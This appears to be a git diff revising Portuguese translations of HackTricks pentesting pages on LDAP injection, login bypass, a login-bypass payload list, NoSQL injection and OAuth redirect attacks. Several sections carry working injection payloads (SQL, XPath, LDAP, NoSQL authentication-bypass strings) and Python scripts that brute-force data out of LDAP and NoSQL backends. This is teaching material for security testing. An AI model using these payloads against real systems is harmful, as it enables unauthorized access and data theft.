* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -6,18 +6,18 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensa por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -31,7 +31,7 @@ Outras formas de apoiar o HackTricks:
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
A **Injeção LDAP** é um ataque direcionado a aplicativos da web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
@ -49,13 +49,13 @@ A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem d
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = TRUE Absoluto\
**(|)** = FALSO Absoluto
**(|)** = FALSE Absoluto
Por exemplo:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Você pode acessar o banco de dados, que pode conter informações de vários tipos diferentes.
Você pode acessar o banco de dados, que pode conter informações de muitos tipos diferentes.
**OpenLDAP**: Se 2 filtros chegarem, apenas executa o primeiro.\
**ADAM ou Microsoft LDS**: Com 2 filtros, eles lançam um erro.\
@ -161,9 +161,11 @@ Você pode iterar sobre as letras ascii, dígitos e símbolos:
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **Descobrir campos LDAP válidos**
Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar a entrada em todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -195,7 +197,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Injeção LDAP Blind Especial (sem "\*")**
#### **Injeção LDAP Cega Especial (sem "\*")**
```python
#!/usr/bin/python3
@ -221,20 +223,20 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -20,28 +20,28 @@
## **Bypass de login regular**
Se você encontrar uma página de login, aqui você pode encontrar algumas técnicas para tentar burlá-la:
Se você encontrar uma página de login, aqui estão algumas técnicas para tentar burlá-la:
* Verifique os **comentários** dentro da página (role para baixo e para a direita?)
* Verifique se você pode **acessar diretamente as páginas restritas**
* Verifique **não enviar os parâmetros** (não envie nenhum ou apenas 1)
* Verifique o **erro de comparações PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* Verifique o **erro de comparação do PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
* **Mude o tipo de conteúdo para json** e envie valores json (bool true incluído)
* Se você receber uma resposta dizendo que o POST não é suportado, você pode tentar enviar o **JSON no corpo, mas com uma solicitação GET** com `Content-Type: application/json`
* Verifique o potencial erro de análise do nodejs (leia [**isto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
* O Nodejs transformará essa carga útil em uma consulta semelhante à seguinte: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` o que torna a parte da senha sempre verdadeira.
* O Nodejs transformará essa carga útil em uma consulta semelhante à seguinte: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` o que faz com que a parte da senha seja sempre verdadeira.
* Se você puder enviar um objeto JSON, você pode enviar `"password":{"password": 1}` para burlar o login.
* Lembre-se de que para burlar este login você ainda precisa **saber e enviar um nome de usuário válido**.
* **Adicionar a opção `"stringifyObjects":true`** ao chamar `mysql.createConnection` eventualmente b**loqueará todos os comportamentos inesperados quando `Object` é passado** como parâmetro.
* **Adicionar `"stringifyObjects":true`** opção ao chamar `mysql.createConnection` eventualmente b**loqueará todos os comportamentos inesperados quando `Object` é passado** como parâmetro.
* Verifique as credenciais:
* [**Credenciais padrão**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) da tecnologia/plataforma usada
* **Combinações comuns** (root, admin, password, nome da tecnologia, usuário padrão com uma dessas senhas).
* Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário e senha padrão** (se houver) e tente fazer força bruta usando todas as palavras como **nomes de usuário e senha**
* **Força bruta** usando um **dicionário maior (**[**Força bruta**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
### Bypass de autenticação de Injeção SQL
### Bypass de autenticação de injeção SQL
[Aqui você pode encontrar vários truques para burlar o login via **injeções SQL**](../sql-injection/#authentication-bypass).
[Aqui você pode encontrar várias dicas para burlar o login via **injeções SQL**](../sql-injection/#authentication-bypass).
Na página a seguir, você pode encontrar uma **lista personalizada para tentar burlar o login** via Injeções SQL:
@ -49,15 +49,15 @@ Na página a seguir, você pode encontrar uma **lista personalizada para tentar
[sql-login-bypass.md](sql-login-bypass.md)
{% endcontent-ref %}
### Bypass de autenticação de Injeção No SQL
### Bypass de autenticação de injeção No SQL
[Aqui você pode encontrar vários truques para burlar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
[Aqui você pode encontrar várias dicas para burlar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
Como as Injeções NoSQL requerem alterar o valor dos parâmetros, você precisará testá-los manualmente.
Como as Injeções NoSQL exigem alterar o valor dos parâmetros, você precisará testá-los manualmente.
### Bypass de autenticação de Injeção XPath
### Bypass de autenticação de injeção XPath
[Aqui você pode encontrar vários truques para burlar o login via **Injeção XPath**.](../xpath-injection.md#authentication-bypass)
[Aqui você pode encontrar várias dicas para burlar o login via **Injeção XPath.**](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -75,7 +75,7 @@ admin' or '1'='2
```
### Autenticação de injeção LDAP
[Aqui você pode encontrar vários truques para ignorar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
[Aqui você pode encontrar vários truques para contornar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -110,7 +110,7 @@ As páginas geralmente redirecionam os usuários após o login, verifique se voc
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)

View file

@ -1,21 +1,21 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Esta lista contém **payloads para bypass de login via XPath, LDAP e SQL injection** (nessa ordem).
Esta lista contém **payloads para burlar o login via XPath, LDAP e injeção SQL**(nessa ordem).
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha.** Depois, coloque a lista completa primeiro no nome de usuário e depois nos campos de senha, enquanto insere alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha**. Em seguida, coloque a lista completa primeiro no nome de usuário e depois nas entradas de senha enquanto coloca alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
```
admin
password
@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver a sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -12,12 +12,12 @@ Acesse hoje:
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -97,7 +97,7 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Execução Arbitrária de Funções PHP
### Execução Arbitrária de Funções em PHP
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usado por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
@ -168,7 +168,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
```
## Script de Blind NoSQL
Blind NoSQL injection is similar to blind SQL injection, where the attacker does not see the result of the injection directly. The attacker needs to infer the result based on the application's behavior.
Blind NoSQL é uma técnica de injeção de NoSQL que pode ser explorada para recuperar informações confidenciais de um banco de dados NoSQL. Este script automatiza o processo de exploração de injeção de NoSQL cega, permitindo aos testadores de penetração extrair dados sensíveis de forma eficiente.
```python
import requests, string
@ -267,7 +267,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -18,9 +18,9 @@ Outras maneiras de apoiar o HackTricks:
O OAuth oferece várias versões, com informações fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão se concentra principalmente no amplamente utilizado [tipo de concessão de código de autorização OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo um **framework de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
Considere um site hipotético _**https://exemplo.com**_, projetado para **mostrar todas as suas postagens em redes sociais**, incluindo as privadas. Para alcançar isso, é utilizado o OAuth 2.0. _https://exemplo.com_ solicitará sua permissão para **acessar suas postagens em redes sociais**. Consequentemente, uma tela de consentimento aparecerá em _https://redesocial.com_, detalhando as **permissões solicitadas e o desenvolvedor fazendo a solicitação**. Após sua autorização, _https://exemplo.com_ ganha a capacidade de **acessar suas postagens em seu nome**.
Considere um site hipotético _**https://exemplo.com**_, projetado para **mostrar todas as suas postagens em redes sociais**, incluindo as privadas. Para alcançar isso, o OAuth 2.0 é empregado. _https://exemplo.com_ solicitará sua permissão para **acessar suas postagens em redes sociais**. Consequentemente, uma tela de consentimento aparecerá em _https://redesocial.com_, detalhando as **permissões solicitadas e o desenvolvedor fazendo a solicitação**. Após sua autorização, _https://exemplo.com_ ganha a capacidade de **acessar suas postagens em seu nome**.
É essencial compreender os seguintes componentes dentro do framework do OAuth 2.0:
É essencial compreender os seguintes componentes dentro do framework OAuth 2.0:
- **dono do recurso**: Você, como **usuário/entidade**, autoriza o acesso ao seu recurso, como suas postagens em redes sociais.
- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `token de acesso` em nome do `dono do recurso`, por exemplo, **https://redesocial.com**.
@ -28,10 +28,10 @@ Considere um site hipotético _**https://exemplo.com**_, projetado para **mostra
- **servidor de autorização**: O **servidor que emite `tokens de acesso`** para o `aplicativo cliente` após a autenticação bem-sucedida do `dono do recurso` e a obtenção de autorização, por exemplo, **https://redesocial.com**.
- **client\_id**: Um identificador público e único para o aplicativo.
- **client\_secret:** Uma chave confidencial, conhecida apenas pelo aplicativo e pelo servidor de autorização, usada para gerar `tokens de acesso`.
- **response\_type**: Um valor que especifica **o tipo de token solicitado**, como `código`.
- **response\_type**: Um valor especificando **o tipo de token solicitado**, como `código`.
- **escopo**: O **nível de acesso** que o `aplicativo cliente` está solicitando do `dono do recurso`.
- **redirect\_uri**: A **URL para a qual o usuário é redirecionado após a autorização**. Isso geralmente deve estar alinhado com a URL de redirecionamento pré-registrada.
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para e do servidor de autorização**. Sua singularidade é fundamental para servir como um **mecanismo de proteção CSRF**.
- **state**: Um parâmetro para **manter dados durante o redirecionamento do usuário para e do servidor de autorização**. Sua singularidade é crítica para servir como um **mecanismo de proteção CSRF**.
- **grant\_type**: Um parâmetro que indica **o tipo de concessão e o tipo de token a ser retornado**.
- **código**: O código de autorização do `servidor de autorização`, usado em conjunto com `client_id` e `client_secret` pelo aplicativo cliente para adquirir um `token de acesso`.
- **token de acesso**: O **token que o aplicativo cliente usa para solicitações de API** em nome do `dono do recurso`.
@ -51,13 +51,13 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. Em seguida, você é apresentado a uma página de consentimento.
3. Em seguida, você é apresentado com uma página de consentimento.
4. Após a sua aprovação, a Rede Social envia uma resposta para o `redirect_uri` com os parâmetros `code` e `state`:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com utiliza este `código`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
5. https://example.com utiliza este `código`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões às quais você consentiu:
```
POST /oauth/access_token
Host: socialmedia.com
@ -71,7 +71,7 @@ Host: socialmedia.com
O `redirect_uri` é crucial para a segurança nas implementações de OAuth e OpenID, pois direciona para onde os dados sensíveis, como códigos de autorização, são enviados pós-autorização. Se mal configurado, poderia permitir que atacantes redirecionassem essas solicitações para servidores maliciosos, possibilitando a tomada de controle da conta.
As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Podem variar desde a correspondência estrita de caminho até a aceitação de qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracos e injeção de HTML para roubo de token.
As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Podem variar desde a correspondência estrita de caminhos até a aceitação de qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracos e injeção de HTML para roubo de token.
Além do `redirect_uri`, outros parâmetros do OAuth e OpenID como `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` também são suscetíveis a ataques de redirecionamento. Esses parâmetros são opcionais e seu suporte varia entre os servidores.
@ -85,7 +85,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Manipulação inadequada do parâmetro de estado <a href="#bda5" id="bda5"></a>
